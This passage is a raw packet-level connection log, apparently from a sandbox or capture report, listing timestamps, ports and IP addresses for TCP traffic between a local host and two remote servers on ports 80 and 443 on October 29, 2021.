Oct 29, 2021 17:55:24.057614088 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057657957 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.057661057 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057710886 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057756901 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.057760000 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057809114 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057856083 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057856083 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.057904005 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057950974 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.057951927 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.058003902 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.058046103 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.058048010 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.058094025 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.058137894 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.058139086 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.058185101 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.058227062 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.058231115 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.058279037 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.058321953 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.110783100 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.110945940 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.111102104 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.111120939 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.111206055 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.111259937 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.113168955 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.113231897 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:24.113301992 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:24.997155905 CEST	49797	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:25.050425053 CEST	80	49797	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:25.578917980 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:25.578986883 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:25.579082966 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:25.635504961 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:25.635554075 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:25.681468010 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:25.681576014 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:25.686441898 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:25.686465025 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:25.686844110 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:25.862085104 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.353019953 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392065048 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392229080 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392307997 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392326117 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392352104 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392412901 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392424107 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392461061 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392502069 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392546892 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392551899 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392565966 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392625093 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392630100 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392642021 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392684937 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392699957 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392739058 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392749071 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392760992 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392807007 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392819881 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392828941 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392889977 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392895937 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392910957 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392966032 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.392968893 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.392977953 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393034935 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393064022 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393075943 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393125057 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393158913 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393168926 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393218040 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393234015 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393243074 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393297911 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393316984 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393327951 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393372059 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393388033 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393397093 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393454075 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393482924 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393492937 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393538952 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393548965 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393558025 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393600941 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393630981 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393641949 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393655062 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393703938 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393718958 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393762112 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393774033 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393783092 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393831015 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393832922 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393843889 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393887043 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393924952 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.393935919 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.393948078 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410512924 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410599947 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410609007 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410634041 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410655022 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410669088 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410712004 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410725117 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410733938 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410770893 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410777092 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410800934 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410808086 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410830975 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410842896 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410866976 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410873890 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.410912037 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.410974026 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411048889 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411057949 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411084890 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411143064 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411151886 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411201000 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411258936 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411259890 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411276102 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411345959 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411351919 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411365032 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411408901 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411432028 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411499977 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411570072 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411607981 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411694050 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411722898 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411787987 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411828041 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.411894083 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411930084 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.411942959 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.412024975 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.428783894 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.428865910 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.428925991 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.428951025 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.428971052 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429008007 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429045916 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429054022 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429070950 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429146051 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429156065 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429183960 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429243088 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429251909 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429292917 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429322958 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429332018 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429369926 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429441929 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429548025 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429594994 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429605961 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429658890 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429681063 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429739952 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429739952 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429754972 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429790020 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429907084 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.429972887 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.429986000 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430016994 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430058002 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430064917 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430087090 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430130959 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430195093 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430205107 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430227995 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430265903 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430277109 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430315018 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430346966 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430406094 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430414915 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430428982 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430510044 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430538893 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430624962 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430701971 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430767059 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430774927 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430789948 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430838108 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430875063 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.430893898 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.430964947 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431000948 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431014061 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431062937 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431078911 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431127071 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431135893 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431169987 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431171894 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431236029 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431246996 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431301117 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431399107 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431628942 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431744099 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431781054 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431863070 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431878090 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.431922913 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.431948900 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.432086945 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.432243109 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.432271957 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.432333946 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.432348967 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.432398081 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.432435036 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.432575941 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.432696104 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.432729959 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.432832956 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.432847977 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.432904005 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.432931900 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.433181047 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.433214903 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.433284044 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.433299065 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.433330059 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.433372974 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.433940887 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.434701920 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.450485945 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.450515985 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.450651884 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.450676918 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.450692892 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.450738907 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.450795889 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.450828075 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.450917959 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.450932026 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.450977087 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.451086998 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.451266050 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.451297998 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.451412916 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.451431036 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.451442003 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.451525927 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.451880932 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.451952934 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452013969 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452030897 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452085018 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452094078 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452167034 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452245951 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452286959 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452300072 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452342987 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452368021 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452470064 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452527046 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452563047 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452580929 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452606916 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452636957 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452830076 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452917099 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.452929974 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.452960014 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453011036 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453028917 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453075886 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453258038 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453313112 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453344107 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453356981 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453380108 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453412056 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453502893 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453608036 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453665972 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453692913 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453706026 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453739882 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453835964 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453882933 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453928947 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453932047 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.453964949 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453991890 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.453999996 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.454025984 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.454087973 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.454225063 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.454297066 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.454338074 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.454423904 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.454435110 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.454444885 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.454534054 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.454668045 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.454740047 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.454790115 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.454886913 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.454921007 CEST	443	49799	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:26.454932928 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455045938 CEST	49799	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.455085993 CEST	49799	443	192.168.2.6	162.159.135.233
